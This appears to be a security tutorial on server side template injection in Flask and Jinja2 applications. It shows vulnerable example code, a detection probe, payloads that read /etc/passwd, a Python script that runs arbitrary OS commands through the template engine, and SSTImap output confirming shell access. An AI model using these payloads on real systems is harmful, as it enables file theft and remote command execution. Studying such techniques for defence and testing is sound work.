Server Side Template Injection (SSTI)

Templating engines allows developers to abstract static and dynamic content. Templates contain variables which are replaced when the template is rendered.

Server Side Template Injection (SSTI) occurs when untrusted user input is passed directly to the templating engine.

For example, Flask Python applications use Jinja2 as a template engine. If unsanitised user input is supplied to the from_string or render_template_string function, an adversary may be able to inject malicious code.


Vulnerable Code

The below code is vulnerable to SSTI since user input is supplied directly to the render_template_string function.

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')

def index():
    search = request.args.get('search') or None
    template = 'Search parameter: {}'.format(search)
    return render_template_string(template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

The following code is also vulnerable, due to it’s use of from_string but directly imports Jinja2.

from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
environment = Environment()

@app.route('/')
def search():
    search = request.values.get('search')
    return environment.from_string("Search parameter: " + search).render()

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Vulnerability Identification

Calling the application with curl provides expected output;

curl 'http://127.0.0.1?search=test'
Search parameter: test

To determine if the application if vulnerable to SSTI, we can inject a mathmatical statement surrounded by curly braces. The braces normally indicate the field is part of the template to be replaced. Backslash characters are used to prevent shell escaping.

curl  "http://127.0.0.1?search=\{\{668.5*2\}\}"
Search parameter: 1337.0

Since the application is processing the mathematical statements, that’s a good indication it’s vulnerable.

PortSwigger created a diagram of requests that can be used to fingerprint the backend engine.


Manual Exploitation

To exploit the condition, we need to be able to reference Python code we can execute. To start this process, we inject a string and access the string class base attribute. Reading the subclasses attribute of this object lists the classes at our disposal. Like so…

{{'bg'.__class__.__base__.__subclasses__()}}

This will present a large list of classes, so it’s best to parse the output with Python. If we want to read a file from the host, we will first need to look for _io._IOBase

import requests

def make_request(url,search_term):
    response = requests.get(url)
    server_response = response.text
    class_list = server_response.split(',')
    for item in class_list:
        if search_term in item:
            index = class_list.index(item)
            print(index)
            return index

io_base = make_request('http://127.0.0.1/?search={{"bg".__class__.__base__.__subclasses__()}}','_io._IOBase')

Running the code above tells us _io._IOBase is at index 114. Traversing this class leads us to the read method.

"bg".__class__.__base__.__subclasses__()[114].__subclasses__()[1].__subclasses__()[0]("/etc/passwd").read()

The following code would then allow for reading a file from the server.

import requests

def make_request(url,search_term):
    response = requests.get(url)
    server_response = response.text
    class_list = server_response.split(',')
    for item in class_list:
        if search_term in item:
            index = class_list.index(item)
            return index

io_base = make_request('http://127.0.0.1/?search={{"bg".__class__.__base__.__subclasses__()}}','_io._IOBase')

file_read_url = 'http://127.0.0.1/?search={{"bg".__class__.__base__.__subclasses__()[' + str(io_base) + '].__subclasses__()[1].__subclasses__()[0]("/etc/passwd").read()}}'

response = requests.get(file_read_url)
print(response.text)

If the target application uses Python requests, command execution is trivial.

import requests
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("cmd")
args = parser.parse_args()

url = "http://127.0.0.1/?search="
exec_cmd = "{{request.application.__globals__.__builtins__.__import__('os').popen('" + args.cmd + "').read()}}"

response = requests.get(url + exec_cmd)
print(response.text)

Automated Exploitation

SSTIMap can perform automated exploitation against a number of templating frameworks.

./sstimap.py -u "http://127.0.0.1?search=test" --os-cmd id

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║  _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.0.2
[*] Author: @vladko312
[*] Based on Tplmap

[*] Testing if GET parameter 'search' is injectable
[*] Smarty plugin is testing rendering with tag '*'
[*] Smarty plugin is testing }*{ code context escape with 6 variations
[*] Smarty plugin is testing blind injection
[*] Smarty plugin is testing }*{ code context escape with 6 variations
[*] Mako plugin is testing rendering with tag '${*}'
[*] Mako plugin is testing }* code context escape with 6 variations
[*] Mako plugin is testing %>*<%# code context escape with 6 variations
[*] Mako plugin is testing blind injection
[*] Mako plugin is testing }* code context escape with 6 variations
[*] Mako plugin is testing %>*<%# code context escape with 6 variations
[*] Python plugin is testing rendering with tag 'str(*)'
[*] Python plugin is testing blind injection
[*] Tornado plugin is testing rendering with tag '{{*}}'
[*] Tornado plugin is testing }}* code context escape with 6 variations
[*] Tornado plugin is testing %}* code context escape with 6 variations
[*] Tornado plugin is testing blind injection
[*] Tornado plugin is testing }}* code context escape with 6 variations
[*] Tornado plugin is testing %}* code context escape with 6 variations
[*] Jinja2 plugin is testing rendering with tag '*'
[+] Jinja2 plugin has confirmed injection with tag '*'
[+] SSTImap identified the following injection point:

  GET parameter: search
  Engine: Jinja2
  Injection: *
  Context: text
  OS: posix-darwin
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

uid=501(user) gid=20(staff)